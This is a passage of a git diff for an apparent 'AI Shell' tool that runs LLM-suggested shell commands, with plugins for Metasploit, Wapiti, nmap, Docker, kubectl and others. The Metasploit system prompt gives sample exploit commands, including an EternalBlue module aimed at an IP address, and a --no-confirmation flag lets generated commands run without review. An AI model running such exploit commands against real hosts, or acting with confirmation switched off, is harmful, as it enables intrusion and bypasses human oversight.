Translator: Direct natural language to shell command translation +2. AI Assistant: Conversational mode with context awareness +3. Metasploit Assistant: Specialized penetration testing support + +Key Features: +- Multi-provider LLM support (Gemini, Ollama) +- Interactive PTY sessions for tool integration +- Real-time command output streaming +- Security validation and user confirmation +- Training data collection and feedback loops + +Examples: + Basic usage: + $ ai-shell + + Direct mode selection: + $ ai-shell --mode translator + $ ai-shell --mode assistant --provider local + + Custom configuration: + $ ai-shell --config myconfig.yaml --no-confirmation + +Author: AI Shell Contributors +License: MIT +""" + +import argparse +import asyncio +import getpass +import logging +import os +import pty +import select +import subprocess +import sys +from typing import Optional + +from . import __version__ +from .config import get_config +from .llm import ( + get_llm_provider, + GeminiProvider, + LocalLLMProvider, + ASSISTANT_SYSTEM_PROMPT, + METASPLOIT_SYSTEM_PROMPT, + WAPITI_SYSTEM_PROMPT, + extract_command_from_response, +) +from .executor import get_executor +from .ui import ( + colors, + print_banner, + print_mode_selection, + print_provider_selection, + print_local_model_selection, + format_error, + format_warning, + format_info, + format_success, +) + + +def setup_logging(): + """ + Configure logging for the AI Shell application. + + Sets up logging based on configuration file settings, including: + - Log level (DEBUG, INFO, WARNING, ERROR, CRITICAL) + - Log file location + - Log format string + - Multiple handlers (file and console) + + The configuration is loaded from the global config and supports + environment variable overrides. + + Raises: + PermissionError: If log file cannot be created/written + ValueError: If log level is invalid + """ + config = get_config() + log_level = config.get("logging.level", "INFO") + log_file = config.get("logging.file", "ai_shell.log") + log_format = config.get( + "logging.format", "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + ) + + logging.basicConfig( + level=getattr(logging, log_level.upper()), + format=log_format, + handlers=[logging.FileHandler(log_file), logging.StreamHandler(sys.stdout)], + ) + + +def parse_arguments(): + """ + Parse and validate command-line arguments. + + Creates an argument parser with all supported command-line options + including mode selection, provider configuration, logging options, + and security settings. + + Returns: + argparse.Namespace: Parsed command-line arguments with the following attributes: + - mode (str): Operating mode ('translator', 'assistant', 'metasploit', 'wapiti') + - provider (str): LLM provider ('gemini', 'local') + - config (str): Path to configuration file + - api_key (str): API key for cloud providers + - no_confirmation (bool): Skip command confirmation + - log_level (str): Override log level + - version (bool): Show version information + + Examples: + >>> args = parse_arguments() + >>> print(args.mode) + 'translator' + >>> print(args.provider) + 'gemini' + """ + parser = argparse.ArgumentParser( + description="AI Shell - An intelligent command-line assistant", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + ai-shell # Interactive mode selection + ai-shell --mode translator # Direct translator mode + ai-shell --mode assistant # AI assistant mode + ai-shell --provider local # Use local LLM + ai-shell --config myconfig.yaml # Use custom config file + """, + ) + + parser.add_argument( + "--version", action="version", version=f"AI Shell {__version__}" + ) + + parser.add_argument( + "--mode", + choices=["translator", "assistant", "metasploit", "wapiti"], + help="Operating mode (default: interactive selection)", + ) + + parser.add_argument( + "--provider", + choices=["gemini", "local"], + help="LLM provider (default: from config or interactive selection)", + ) + + parser.add_argument("--config", metavar="FILE", help="Configuration file path") + + parser.add_argument( + "--api-key", + metavar="KEY", + help="Gemini API key (overrides config and environment)", + ) + + parser.add_argument( + "--no-confirmation", + action="store_true", + help="Skip command confirmation prompts", + ) + + parser.add_argument( + "--log-level", + choices=["DEBUG", "INFO", "WARNING", "ERROR"], + help="Logging level", + ) + + return parser.parse_args() + + +def interactive_mode_selection() -> str: + """Interactive mode selection.""" + print_mode_selection() + + while True: + try: + choice = input("Enter choice (1, 2, 3, or 4): ").strip() + mode_map = { + "1": "translator", + "2": "assistant", + "3": "metasploit", + "4": "wapiti", + } + if choice in mode_map: + return mode_map[choice] + print(format_warning("Invalid choice. Please enter 1, 2, 3, or 4.")) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + sys.exit(0) + + +def interactive_provider_selection() -> str: + """Interactive provider selection.""" + print_provider_selection() + + while True: + try: + choice = input("Enter choice (1 or 2): ").strip() + if choice == "1": + return "gemini" + elif choice == "2": + return "local" + print(format_warning("Invalid choice. Please enter 1 or 2.")) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + sys.exit(0) + + +def setup_gemini_provider(api_key: Optional[str] = None) -> bool: + """Setup Gemini provider configuration.""" + config = get_config() + + if not api_key: + api_key = config.get("llm.gemini.api_key") or os.environ.get("GEMINI_API_KEY") + + if not api_key: + try: + api_key = getpass.getpass("Please enter your Gemini API Key: ").strip() + except (KeyboardInterrupt, EOFError): + print("\nNo API key provided. Exiting.") + return False + + if not api_key: + print(format_error("No API key provided")) + return False + + config.set("llm.gemini.api_key", api_key) + return True + + +def setup_local_provider() -> bool: + """Setup local LLM provider configuration.""" + config = get_config() + + # Available models + local_models = { + "1": {"name": "llama3", "size_gb": 5.4}, + "2": {"name": "codellama", "size_gb": 4.0}, + "3": {"name": "mistral", "size_gb": 4.1}, + } + + print_local_model_selection(local_models) + + while True: + try: + choice = input(f"Enter choice ({', '.join(local_models.keys())}): ").strip() + if choice in local_models: + break + print( + format_warning( + f"Invalid choice. Please enter {', '.join(local_models.keys())}." + ) + ) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + return False + + selected_model = local_models[choice] + + # Check and setup Ollama + if not check_and_setup_ollama(selected_model["name"], selected_model["size_gb"]): + return False + + # Get connection details + try: + host = input("Enter Ollama IP address [localhost]: ").strip() or "localhost" + port = input("Enter Ollama port [11434]: ").strip() or "11434" + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + return False + + config.set("llm.local.host", host) + config.set("llm.local.port", int(port)) + config.set("llm.local.model", selected_model["name"]) + + return True + + +def check_and_setup_ollama(model_name: str, model_size_gb: float) -> bool: + """Check and setup Ollama with the specified model.""" + try: + # Check if Ollama is installed + subprocess.run( + ["ollama", "--version"], capture_output=True, check=True, text=True + ) + except (subprocess.CalledProcessError, FileNotFoundError): + print(format_error("Ollama is not installed or not in your PATH")) + print("Please install Ollama from https://ollama.ai/") + return False + + try: + # Check if model is available + result = subprocess.run( + ["ollama", "list"], capture_output=True, text=True, check=True + ) + if model_name not in result.stdout: + print(format_info(f"'{model_name}' model not found. Pulling now...")) + subprocess.run(["ollama", "pull", model_name], check=True) + print(format_success(f"Successfully downloaded '{model_name}'")) + except (subprocess.CalledProcessError, FileNotFoundError): + print(format_error("Could not connect to Ollama server")) + return False + + return True + + +def translator_loop(): + """Main loop for the direct command translator.""" + print("\n--- Command Translator Mode ---") + print("Enter a prompt, and I'll give you a shell command.") + print("Type 'exit' or 'quit' to close.") + + llm_provider = get_llm_provider() + executor = get_executor() + + while True: + try: + user_prompt = input(f"\n{colors.PROMPT}>{colors.RESET} ") + if user_prompt.lower() in ["exit", "quit"]: + break + if not user_prompt: + continue + + print(format_info("Translating prompt...")) + command_to_run, _ = llm_provider.generate_response( + user_prompt, "translator" + ) + + if command_to_run: + executor.execute_command(command_to_run, user_prompt) + else: + print(format_warning("Could not generate command")) + + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + break + + +def assistant_loop(): + """Main loop for the conversational AI assistant.""" + print("\n--- AI Assistant Mode ---") + print( + "Ask me anything, or describe a task. I can explain concepts or provide commands." + ) + print("Type 'exit' or 'quit' to close.") + + llm_provider = get_llm_provider() + executor = get_executor() + chat_session = None + + while True: + try: + user_prompt = input(f"\n{colors.PROMPT}You: {colors.RESET}") + if user_prompt.lower() in ["exit", "quit"]: + break + if not user_prompt: + continue + + print(format_info("Assistant is thinking...")) + assistant_response, chat_session = llm_provider.generate_response( + user_prompt, "assistant", ASSISTANT_SYSTEM_PROMPT, chat_session + ) + + if assistant_response: + print( + f"\n{colors.ASSISTANT}Assistant:{colors.RESET}\n{assistant_response}" + ) + + # Check for executable command + command_to_run = extract_command_from_response(assistant_response) + if command_to_run: + executor.execute_command(command_to_run, user_prompt) + else: + print(format_warning("Assistant did not provide a response")) + + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + break + + +async def metasploit_loop(): + """Main loop for Metasploit assistant.""" + await pty_loop_base( + tool_name="metasploit", + tool_color=colors.METASPLOIT, + system_prompt=METASPLOIT_SYSTEM_PROMPT, + start_command=["msfconsole", "-q"], + ) + + +async def wapiti_loop(): + """Main loop for Wapiti assistant.""" + # Check if wapiti is available + try: + subprocess.run(["wapiti", "--version"], capture_output=True, check=True) + except (FileNotFoundError, subprocess.CalledProcessError): + print(format_error("'wapiti' not found or not working")) + print("Please ensure Wapiti is installed and in your PATH") + print("(e.g., 'sudo apt install wapiti' or 'pip install wapiti3')") + return + + await pty_loop_base( + tool_name="wapiti", + tool_color=colors.WAPITI, + system_prompt=WAPITI_SYSTEM_PROMPT, + start_command=["bash"], + ) + + +async def pty_loop_base( + tool_name: str, tool_color: str, system_prompt: str, start_command: list +): + """Generic base function for running a tool in a pseudoterminal with AI assistance.""" + print(f"\n--- {tool_name.capitalize()} Assistant Mode ---") + print(f"Starting a shell for {tool_name} tasks.") + print( + f"To ask the AI for commands, start your prompt with '{colors.PROMPT}?{colors.RESET}'" + ) + print(f"Example: {colors.PROMPT}? scan example.com for xss{colors.RESET}") + print(f"To exit, type '{colors.COMMAND}exit{colors.RESET}' at the shell prompt.") + + pid, master_fd = pty.fork() + + if pid == 0: # Child process + try: + os.execvp(start_command[0], start_command) + except FileNotFoundError: + print(format_error(f"'{start_command[0]}' not found")) + print("Please ensure it is installed and in your PATH") + os._exit(1) + else: # Parent process + loop = asyncio.get_event_loop() + llm_provider = get_llm_provider() + chat_session = None + + os.set_blocking(master_fd, False) + os.set_blocking(0, False) + + def handle_user_input(): + try: + user_data = os.read(0, 1024) + if user_data: + user_input = user_data.decode().strip() + if user_input.startswith("?"): + handle_ai_interaction(user_input[1:].strip()) + else: + os.write(master_fd, user_data) + except (BlockingIOError, InterruptedError): + pass + + def handle_tool_output(): + try: + tool_data = os.read(master_fd, 1024) + if tool_data: + print( + f"{tool_color}{tool_data.decode()}{colors.RESET}", + end="", + flush=True, + ) + else: + loop.stop() + except (BlockingIOError, InterruptedError): + pass + + def handle_ai_interaction(user_prompt): + nonlocal chat_session + print(format_info("\nAssistant is thinking...")) + + assistant_response, chat_session = llm_provider.generate_response( + user_prompt, tool_name, system_prompt, chat_session + ) + + if assistant_response: + print( + f"\n{colors.ASSISTANT}Assistant:{colors.RESET}\n{assistant_response}" + ) + command_to_run = extract_command_from_response(assistant_response) + if command_to_run: + print( + f"\nI am about to run this command in the shell: {colors.COMMAND}{command_to_run}{colors.RESET}" + ) + loop.remove_reader(0) + os.set_blocking(0, True) + try: + confirm = ( + input("Do you want to proceed? [y/n] ").lower().strip() + ) + if confirm == "y": + os.write(master_fd, (command_to_run + "\n").encode()) + else: + print("Execution cancelled.") + finally: + os.set_blocking(0, False) + loop.add_reader(0, handle_user_input) + else: + print(format_warning("\nThe assistant did not provide a response")) + + loop.add_reader(0, handle_user_input) + loop.add_reader(master_fd, handle_tool_output) + + try: + await asyncio.Event().wait() + finally: + loop.remove_reader(0) + loop.remove_reader(master_fd) + os.set_blocking(0, True) + print(f"\n{tool_name.capitalize()} session ended.") + + +def main(): + """ + Main entry point for the AI Shell application. + + Orchestrates the complete application workflow including: + 1. Command-line argument parsing and validation + 2. Logging setup and configuration loading + 3. LLM provider initialization + 4. Mode selection and execution + 5. Error handling and graceful shutdown + + The function handles different operating modes: + - translator: Direct command translation + - assistant: Conversational AI assistance + - metasploit: Security testing with msfconsole integration + - wapiti: Web application security scanning + + Returns: + int: Exit code (0 for success, non-zero for errors) + + Raises: + KeyboardInterrupt: User interrupted the application + SystemExit: Application terminated due to critical error + + Examples: + Run from command line: + $ ai-shell + $ ai-shell --mode translator --provider local + """ + args = parse_arguments() + + # Setup logging + setup_logging() + + # Load configuration + config = get_config() + + # Apply command line overrides + if args.api_key: + config.set("llm.gemini.api_key", args.api_key) + + if args.no_confirmation: + config.set("security.require_confirmation", False) + + if args.log_level: + config.set("logging.level", args.log_level) + + # Display banner + print_banner() + + # Determine mode + mode = args.mode + if not mode: + mode = interactive_mode_selection() + + # Determine provider + provider = args.provider or config.get("llm.provider") + if not provider: + provider = interactive_provider_selection() + + config.set("llm.provider", provider) + + # Setup provider + if provider == "gemini": + if not setup_gemini_provider(args.api_key): + sys.exit(1) + elif provider == "local": + if not setup_local_provider(): + sys.exit(1) + + # Display configuration + print("-" * 50) + print(f"Mode: {format_info(mode.capitalize())}") + print(f"Provider: {format_info(provider.capitalize())}") + if provider == "local": + print(f"Model: {format_info(config.get('llm.local.model'))}") + + # Run the selected mode + try: + if mode == "translator": + translator_loop() + elif mode == "assistant": + assistant_loop() + elif mode == "metasploit": + asyncio.run(metasploit_loop()) + elif mode == "wapiti": + asyncio.run(wapiti_loop()) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + + print("\nGoodbye!") + + +if __name__ == "__main__": + main() diff --git a/ai_shell/plugins/__init__.py b/ai_shell/plugins/__init__.py new file mode 100644 index 0000000..59dd602 --- /dev/null +++ b/ai_shell/plugins/__init__.py @@ -0,0 +1,32 @@ +""" +AI Shell Suite – Plugin system. + +Importing this package triggers auto-discovery of all tool plugins. +""" + +from .base import ( + PluginInfo, + ToolPlugin, + clear_registry, + discover_plugins, + get_plugin, + list_plugin_info, + list_plugins, + register_plugin, + register_plugin_class, +) + +# Trigger discovery of built-in plugins (metasploit, wapiti, nmap, docker, ...) +discover_plugins() + +__all__ = [ + "ToolPlugin", + "PluginInfo", + "register_plugin", + "register_plugin_class", + "get_plugin", + "list_plugins", + "list_plugin_info", + "discover_plugins", + "clear_registry", +] diff --git a/ai_shell/plugins/ansible.py b/ai_shell/plugins/ansible.py new file mode 100644 index 0000000..d5c1fc3 --- /dev/null +++ b/ai_shell/plugins/ansible.py @@ -0,0 +1,32 @@ +"""Ansible automation assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +ANSIBLE_SYSTEM_PROMPT = ( + "You are an expert Ansible automation and configuration-management assistant. " + "The user has Ansible tools available (`ansible`, `ansible-playbook`, `ansible-galaxy`, " + "`ansible-inventory`, `ansible-vault`). Help them write and run playbooks, manage " + "inventories, roles, collections, and vault secrets. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer idempotent, check-mode (`--check`) runs before applying changes. " + "Warn before any destructive or production-impacting playbook runs. " + "Explain modules, handlers, tags, and variable precedence when helpful." +) + + +@register_plugin_class +class AnsiblePlugin(ToolPlugin): + id = "ansible" + name = "Ansible Assistant" + description = "AI help for playbooks, roles, inventory and automation" + system_prompt = ANSIBLE_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("ansible") is not None or shutil.which("ansible-playbook") is not None diff --git a/ai_shell/plugins/aws.py b/ai_shell/plugins/aws.py new file mode 100644 index 0000000..797dcd0 --- /dev/null +++ b/ai_shell/plugins/aws.py @@ -0,0 +1,31 @@ +"""AWS CLI assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +AWS_SYSTEM_PROMPT = ( + "You are an expert AWS cloud administrator. The user has the `aws` CLI " + "(and optionally `aws-vault` / SSO). Help them manage EC2, S3, IAM, Lambda, " + "EKS, RDS, CloudFormation, VPC, CloudWatch, and other services. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer read-only operations (`describe`, `list`, `get`) first. " + "Always warn before delete, terminate, or high-cost operations. " + "Remind the user to confirm the correct profile/region and account." +) + + +@register_plugin_class +class AwsPlugin(ToolPlugin): + id = "aws" + name = "AWS Assistant" + description = "AI help for AWS CLI, EC2, S3, IAM, EKS and more" + system_prompt = AWS_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("aws") is not None diff --git a/ai_shell/plugins/base.py b/ai_shell/plugins/base.py new file mode 100644 index 0000000..6daa68d --- /dev/null +++ b/ai_shell/plugins/base.py @@ -0,0 +1,172 @@ +""" +Plugin system base classes and registry for AI Shell Suite. + +Tool plugins provide specialized interactive assistants (Metasploit, Wapiti, +nmap, docker, kubectl, etc.). New tools can be added by: + +1. Subclassing ``ToolPlugin`` +2. Implementing the required attributes/methods +3. Placing the module under ``ai_shell/plugins/`` (auto-discovered) + or registering manually via ``register_plugin()``. +""" + +from __future__ import annotations + +import importlib +import logging +import pkgutil +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from typing import Any, Callable, Dict, List, Optional, Type + +logger = logging.getLogger(__name__) + + +@dataclass +class PluginInfo: + """Lightweight metadata used for menus and discovery.""" + + id: str + name: str + description: str + available: bool = True + requires_pty: bool = True + color_key: str = "info" # maps to ui.colors or rich style + + +class ToolPlugin(ABC): + """ + Abstract base class for interactive tool plugins. + + Subclasses must define class attributes and may override methods. + """ + + # --- Required class attributes --- + id: str = "" # unique short id, e.g. "metasploit" + name: str = "" # human name shown in menus + description: str = "" # one-line description + system_prompt: str = "" # LLM system prompt for this tool + start_command: List[str] = field(default_factory=lambda: ["bash"]) # command to exec in PTY + requires_pty: bool = True + color_key: str = "info" # key used by ui for coloring output + + def __init__(self): + if not self.id or not self.name: + raise ValueError(f"{self.__class__.__name__} must define 'id' and 'name'") + + # --- Optional overrides --- + + def check_available(self) -> bool: + """ + Return True if the underlying tool is installed and usable. + Default implementation tries to run the first element of start_command --version / --help. + """ + import shutil + import subprocess + + if not self.start_command: + return False + binary = self.start_command[0] + if shutil.which(binary) is None: + return False + # Light check – many tools support --version + try: + subprocess.run( + [binary, "--version"], + capture_output=True, + timeout=5, + check=False, + ) + return True + except Exception: + # Still consider it available if the binary exists + return True + + def get_info(self) -> PluginInfo: + return PluginInfo( + id=self.id, + name=self.name, + description=self.description, + available=self.check_available(), + requires_pty=self.requires_pty, + color_key=self.color_key, + ) + + def on_start(self) -> None: + """Hook called just before the PTY session starts.""" + pass + + def on_stop(self) -> None: + """Hook called after the PTY session ends.""" + pass + + def preprocess_command(self, command: str) -> str: + """Optional: transform an LLM-suggested command before sending to the tool.""" + return command + + +# --------------------------------------------------------------------------- +# Registry +# --------------------------------------------------------------------------- + +_REGISTRY: Dict[str, ToolPlugin] = {} + + +def register_plugin(plugin: ToolPlugin) -> None: + """Register a plugin instance (or replace an existing one with the same id).""" + if not plugin.id: + raise ValueError("Plugin must have a non-empty id") + _REGISTRY[plugin.id] = plugin + logger.debug("Registered plugin: %s (%s)", plugin.id, plugin.name) + + +def register_plugin_class(cls: Type[ToolPlugin]) -> Type[ToolPlugin]: + """Decorator to register a plugin class (instantiates it immediately).""" + instance = cls() + register_plugin(instance) + return cls + + +def get_plugin(plugin_id: str) -> Optional[ToolPlugin]: + return _REGISTRY.get(plugin_id) + + +def list_plugins(available_only: bool = False) -> List[ToolPlugin]: + plugins = list(_REGISTRY.values()) + if available_only: + plugins = [p for p in plugins if p.check_available()] + return sorted(plugins, key=lambda p: p.name.lower()) + + +def list_plugin_info(available_only: bool = False) -> List[PluginInfo]: + return [p.get_info() for p in list_plugins(available_only=available_only)] + + +def discover_plugins() -> None: + """ + Auto-discover and import all modules under ai_shell.plugins + (except base and __init__). Modules should register themselves + via the @register_plugin_class decorator or by calling register_plugin(). + """ + try: + import ai_shell.plugins as plugins_pkg + except ImportError: + logger.warning("Could not import ai_shell.plugins package") + return + + package_path = plugins_pkg.__path__ + prefix = plugins_pkg.__name__ + "." + + for finder, name, ispkg in pkgutil.iter_modules(package_path, prefix): + if name.endswith(".base") or name.endswith(".__init__"): + continue + try: + importlib.import_module(name) + logger.debug("Loaded plugin module: %s", name) + except Exception as e: + logger.warning("Failed to load plugin module %s: %s", name, e) + + +def clear_registry() -> None: + """Clear all registered plugins (mainly for tests).""" + _REGISTRY.clear() diff --git a/ai_shell/plugins/docker.py b/ai_shell/plugins/docker.py new file mode 100644 index 0000000..0f0434c --- /dev/null +++ b/ai_shell/plugins/docker.py @@ -0,0 +1,30 @@ +"""Docker assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +DOCKER_SYSTEM_PROMPT = ( + "You are an expert Docker and containerization assistant. The user has the `docker` CLI " + "available. Help them manage images, containers, networks, volumes, and Compose workflows. " + "Provide clear, safe commands. When you suggest a command, enclose it in a ```bash ... ``` " + "markdown block. Prefer non-destructive options and always warn before suggesting " + "`docker system prune`, forced removals, or operations that delete data. " + "Explain concepts briefly when helpful (layers, volumes vs bind mounts, networks, etc.)." +) + + +@register_plugin_class +class DockerPlugin(ToolPlugin): + id = "docker" + name = "Docker Assistant" + description = "AI help for Docker images, containers, Compose & troubleshooting" + system_prompt = DOCKER_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("docker") is not None diff --git a/ai_shell/plugins/git.py b/ai_shell/plugins/git.py new file mode 100644 index 0000000..a5a2263 --- /dev/null +++ b/ai_shell/plugins/git.py @@ -0,0 +1,31 @@ +"""Git version control assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +GIT_SYSTEM_PROMPT = ( + "You are an expert Git and version-control assistant. The user has the `git` CLI. " + "Help them with everyday workflows (status, add, commit, branch, merge, rebase, " + "stash, cherry-pick, bisect) and more advanced topics (reflog, worktrees, submodules, " + "hooks, interactive rebase). " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer safe, reversible operations. Always warn before force-push, hard reset, " + "or history-rewriting commands. Suggest clear, conventional commit messages when asked." +) + + +@register_plugin_class +class GitPlugin(ToolPlugin): + id = "git" + name = "Git Assistant" + description = "AI help for Git workflows, branching, and history" + system_prompt = GIT_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("git") is not None diff --git a/ai_shell/plugins/helm.py b/ai_shell/plugins/helm.py new file mode 100644 index 0000000..6b96543 --- /dev/null +++ b/ai_shell/plugins/helm.py @@ -0,0 +1,31 @@ +"""Helm Kubernetes package manager assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +HELM_SYSTEM_PROMPT = ( + "You are an expert Helm and Kubernetes packaging assistant. The user has the " + "`helm` CLI. Help them search, install, upgrade, rollback, and manage charts " + "and releases. Explain values files, chart dependencies, hooks, and " + "release history. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer `helm template` / `helm lint` / dry-run installs before applying. " + "Warn before uninstall or upgrade that could disrupt production workloads." +) + + +@register_plugin_class +class HelmPlugin(ToolPlugin): + id = "helm" + name = "Helm Assistant" + description = "AI help for Helm charts, releases and Kubernetes packaging" + system_prompt = HELM_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("helm") is not None diff --git a/ai_shell/plugins/kubectl.py b/ai_shell/plugins/kubectl.py new file mode 100644 index 0000000..519b628 --- /dev/null +++ b/ai_shell/plugins/kubectl.py @@ -0,0 +1,32 @@ +"""Kubernetes kubectl assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +KUBECTL_SYSTEM_PROMPT = ( + "You are an expert Kubernetes administrator and troubleshooting assistant. " + "The user has the `kubectl` CLI available. Help them inspect clusters, manage " + "workloads (Deployments, StatefulSets, DaemonSets, Jobs), debug pods, work with " + "Services, Ingress, ConfigMaps, Secrets, RBAC, and namespaces. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer non-destructive read-only commands first (`get`, `describe`, `logs`). " + "Always warn before suggesting delete, scale-to-zero, or cluster-scoped changes. " + "Explain context, namespace, and common flags when helpful." +) + + +@register_plugin_class +class KubectlPlugin(ToolPlugin): + id = "kubectl" + name = "Kubectl Assistant" + description = "AI help for Kubernetes clusters, pods, and workloads" + system_prompt = KUBECTL_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("kubectl") is not None diff --git a/ai_shell/plugins/metasploit.py b/ai_shell/plugins/metasploit.py new file mode 100644 index 0000000..b6ba83e --- /dev/null +++ b/ai_shell/plugins/metasploit.py @@ -0,0 +1,33 @@ +"""Metasploit Framework assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +METASPLOIT_SYSTEM_PROMPT = ( + "You are a world-class cybersecurity expert and penetration testing assistant. " + "The user is currently inside the Metasploit Framework console (`msfconsole`). " + "Your primary goal is to help the user conduct their penetration test effectively and safely. " + "Provide guidance, explain concepts, and suggest the exact `msfconsole` commands to achieve their goals. " + "When you provide a command for the user to execute, you MUST enclose it in a ```bash ... ``` markdown block. " + "Example commands include `search cve:2021 type:exploit`, `use exploit/windows/smb/ms17_010_eternalblue`, " + "`set RHOSTS 10.10.1.5`, `run`, etc. " + "Always prioritize ethical considerations and user safety. Be conversational and act as a senior " + "penetration tester mentoring a junior." +) + + +@register_plugin_class +class MetasploitPlugin(ToolPlugin): + id = "metasploit" + name = "Metasploit Assistant" + description = "AI-driven penetration testing inside msfconsole" + system_prompt = METASPLOIT_SYSTEM_PROMPT + start_command = ["msfconsole", "-q"] + requires_pty = True + color_key = "metasploit" + + def check_available(self) -> bool: + import shutil + return shutil.which("msfconsole") is not None diff --git a/ai_shell/plugins/network.py b/ai_shell/plugins/network.py new file mode 100644 index 0000000..8cdd19d --- /dev/null +++ b/ai_shell/plugins/network.py @@ -0,0 +1,32 @@ +"""Network diagnostics assistant plugin (ss, ip, tcpdump, dig, ...).""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +NETWORK_SYSTEM_PROMPT = ( + "You are an expert network diagnostics and troubleshooting assistant. " + "The user has common Linux networking tools available (`ip`, `ss`, `ping`, " + "`traceroute`/`mtr`, `dig`/`nslookup`, `tcpdump`, `curl`, `nmap` if present). " + "Help them inspect interfaces, routes, sockets, DNS, connectivity, and capture " + "traffic. When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer least-intrusive checks first. Warn before long-running packet captures " + "or scans of external networks. Explain output when it is dense or cryptic." +) + + +@register_plugin_class +class NetworkPlugin(ToolPlugin): + id = "network" + name = "Network Assistant" + description = "AI help for ip, ss, dig, tcpdump and connectivity debugging" + system_prompt = NETWORK_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + # Consider available if at least one core networking binary exists + return any(shutil.which(b) for b in ("ip", "ss", "ifconfig")) diff --git a/ai_shell/plugins/nmap.py b/ai_shell/plugins/nmap.py new file mode 100644 index 0000000..adda569 --- /dev/null +++ b/ai_shell/plugins/nmap.py @@ -0,0 +1,31 @@ +"""Nmap network scanner assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +NMAP_SYSTEM_PROMPT = ( + "You are an expert network reconnaissance and scanning assistant. The user has the `nmap` " + "tool available in their shell. " + "Help them design effective, ethical scans. Explain scan types (SYN, UDP, version detection, " + "script scanning, OS detection), timing templates, and output formats. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Always remind the user to only scan systems they own or have explicit written permission to test. " + "Prefer least-intrusive options first and escalate only when justified." +) + + +@register_plugin_class +class NmapPlugin(ToolPlugin): + id = "nmap" + name = "Nmap Assistant" + description = "AI-guided network discovery and port scanning" + system_prompt = NMAP_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("nmap") is not None diff --git a/ai_shell/plugins/podman.py b/ai_shell/plugins/podman.py new file mode 100644 index 0000000..203b288 --- /dev/null +++ b/ai_shell/plugins/podman.py @@ -0,0 +1,30 @@ +"""Podman container engine assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +PODMAN_SYSTEM_PROMPT = ( + "You are an expert Podman and rootless container assistant. The user has the " + "`podman` CLI (and optionally `podman-compose` / `buildah`). Help them manage " + "images, containers, pods, volumes, networks, and generate systemd units. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Highlight differences from Docker where relevant (rootless, pods, " + "quadlets). Prefer non-destructive commands and warn before prune or force-remove." +) + + +@register_plugin_class +class PodmanPlugin(ToolPlugin): + id = "podman" + name = "Podman Assistant" + description = "AI help for Podman containers, pods and rootless workflows" + system_prompt = PODMAN_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("podman") is not None diff --git a/ai_shell/plugins/postgres.py b/ai_shell/plugins/postgres.py new file mode 100644 index 0000000..3c73acb --- /dev/null +++ b/ai_shell/plugins/postgres.py @@ -0,0 +1,35 @@ +"""PostgreSQL / psql database assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +POSTGRES_SYSTEM_PROMPT = ( + "You are an expert PostgreSQL database administrator and SQL assistant. " + "The user has the `psql` client (and optionally `pg_dump`, `pg_restore`, " + "`createdb`, `dropdb`). Help them connect to databases, write and optimize " + "SQL queries, manage schemas, indexes, roles, extensions, and perform " + "backup/restore operations. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "For interactive SQL, prefer `psql` with clear connection strings or " + "environment variables (PGHOST, PGUSER, PGDATABASE). " + "Always warn before DROP, TRUNCATE, DELETE without WHERE, or destructive " + "maintenance commands. Explain EXPLAIN plans and common performance patterns " + "when helpful." +) + + +@register_plugin_class +class PostgresPlugin(ToolPlugin): + id = "postgres" + name = "Postgres Assistant" + description = "AI help for PostgreSQL, psql, queries and admin tasks" + system_prompt = POSTGRES_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("psql") is not None diff --git a/ai_shell/plugins/pulumi.py b/ai_shell/plugins/pulumi.py new file mode 100644 index 0000000..4b35870 --- 